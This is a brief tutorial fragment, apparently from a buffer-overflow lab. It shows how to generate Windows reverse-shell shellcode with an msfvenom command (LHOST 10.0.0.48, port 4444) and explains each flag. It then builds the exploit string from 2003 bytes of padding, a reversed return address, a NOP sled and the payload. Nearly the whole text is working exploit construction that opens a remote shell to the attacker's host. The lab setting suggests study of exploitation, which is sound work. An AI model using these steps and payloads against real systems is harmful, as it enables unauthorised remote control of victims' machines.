Search

Generating Shellcode and Gaining Root

192.168.218.128

10.0.0.48

msfvenom -p windows/shell_reverse_tcp LHOST=10.0.0.48 LPORT=4444 EXITFUNC=thread -f c -a x86 -b "\x00"

-p for payload (reverse shell TCP)

since we are reverse shell, we give them our IP and listening port so they can connect to us

EXITFUNC=thread makes the shell more stable

-f file type, C language

-a for architecture which is x86

-b for bad characters

Copy the overflow string it generates and add it to the overflowAAAA.py as variable “overflow” and add padding (using do-nothing characters like x90):

shellcode = "A" * 2003 + "\xaf\x11\x50\x62" + "\x90" * 32 + overflow #the hex is backwards/reverse order: 625011af